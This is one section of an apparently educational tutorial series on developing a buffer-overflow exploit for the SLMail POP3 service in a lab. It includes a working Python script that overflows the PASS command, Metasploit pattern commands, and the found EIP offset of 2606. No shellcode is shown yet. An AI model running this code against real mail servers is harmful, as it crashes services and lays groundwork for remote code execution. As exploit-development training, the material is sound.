« prev :: next »


In the last section, we revealed the size constraints of the SLMail BoF. If we wish to elevate our humble BoF into a full Remote Code Execution (RCE) exploit, we must be capable of rerouting the flow of execution to a memory location we control, where we can place our “evil” payload. Without this, an RCE will be impossible.


We Get the Point(er)

To reroute the flow of execution, we must control the Instruction Pointer (EIP), which tells the system where to look for the next executable instruction. In our most recent BoF PoC (slmail_bof_6.py), we sent a payload containing the character B repeated 4,089 times. In hexadecimal, the letter B is 42 (the answer to life, the universe, and everything). To gain control over EIP, we'll want to adjust the size of our BoF payload until the post-crash EIP register reads 42424242, which would imply that EIP is obtaining its value from the payload.

Running our PoC (slmail_bof_6.py) against the target, I confirm that not only does the buffer overflow trigger, but the EIP register contains the value 42424242:

EIP Control

Excellent! That makes life easier. Generally speaking, the larger the overflow buffer, the more space we have for shellcode. It's fortunate that the UOB is also the right size to control EIP, as this grants us the maximum possible shellcode space.


Needle and Haystack

At this point, we've got a script (slmail_bof_6.py) that triggers a BoF and (from what we can tell) overwrites the value of the EIP register. Our next step is to determine which four bytes (out of the 4,089 bytes in the payload) are overwriting this register.

To this end, we could go through yet another divide-and-conquer fuzzing routine, cutting the payload in half again and again until we find the specific location of the EIP overwrite. Not a bad approach, honestly. But there's a better solution: create a 4,089-byte sequence of characters in which no four-byte sequence ever repeats itself, then send that sequence as our buffer.

If that sounds complicated, that's because it is. Fortunately, Metasploit comes with a handy script called msf-pattern_create, which is more than up to the task. I use it to generate the pattern, storing it in pattern.txt:

root@haxys:~/ShareDrive/BoF-SLMail# msf-pattern_create -l 4089 > pattern.txt

Then, I copy slmail_bof_6.py into slmail_bof_7.py and update it to load the pattern from the text file:

#!/usr/bin/env python3.7

"""SLMail BoF PoC: Seeking the EIP offset."""

import socket

# Socket information.
TARGET_ADDR = "10.10.10.101"
TARGET_PORT = 110
SOCKET_TIMEOUT = 10

# Exploit details.
# Lower Overflow Boundary: 2590 bytes
# Upper Overflow Boundary: 4089 bytes
MAXIMUM_PAYLOAD = 4089

with open("pattern.txt", "r") as PATTERN:
    PAYLOAD = PATTERN.read().strip().encode()

OVERFLOW = False
try:
    print("[*] Connecting...")
    SOCKET = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    SOCKET.settimeout(SOCKET_TIMEOUT)
    SOCKET.connect((TARGET_ADDR, TARGET_PORT))
    SOCKET.recv(1024)
    SOCKET.send(b"USER test\r\n")
    SOCKET.recv(1024)
    print("[<] Sending payload...")
    SOCKET.send(b"PASS " + PAYLOAD + b"\r\n")
    OVERFLOW = not SOCKET.recv(1024)
    SOCKET.send(b"QUIT\r\n")
except (socket.timeout, ConnectionResetError):
    OVERFLOW = True
except ConnectionRefusedError:
    print("[!] Connection refused. Is the server running?")
finally:
    SOCKET.close()

print("[!] BoF Success!" if OVERFLOW else "[!] BoF Failed.")

Ensuring that SLMail is up and running, I execute the script, sending the pattern as my payload. The service crashes, and I check EIP:

Pattern Seeker

The register contains the value 39694438. To find the offset of this value, we'll use msf-pattern_offset, the sister script to msf-pattern_create:

root@haxys:~/ShareDrive/BoF-SLMail# msf-pattern_offset -q 39694438
[*] Exact match at offset 2606

Nice! The script has found the location of the EIP overwrite at byte 2,606. I'll update the script to test this, copying slmail_bof_7.py into slmail_bof_8.py and replacing the payload with 2,606 A's, four B's, and enough C's to fill out the remainder of the buffer:

  ...
# Exploit details.
MAXIMUM_PAYLOAD = 4089
EIP_OFFSET = 2606

PAYLOAD = b""
PAYLOAD += b"A" * EIP_OFFSET
PAYLOAD += b"B" * 4 # EIP overwrite.
PAYLOAD += b"C" * (MAXIMUM_PAYLOAD - len(PAYLOAD))

OVERFLOW = False
  ...

I restart SLMail and run the script. Sure enough, the overflow is triggered, and EIP is filled with four B's (\x42):

EIP Owned

Excellent! We now have demonstrable control over the value of EIP.


One Barrier Down…

With control over EIP, we're one step closer to a working RCE exploit. In the next section, we'll seek a reliable place to store shellcode, find any “bad characters” that would break the exploit, and determine the maximum size of our shellcode.


« prev :: next »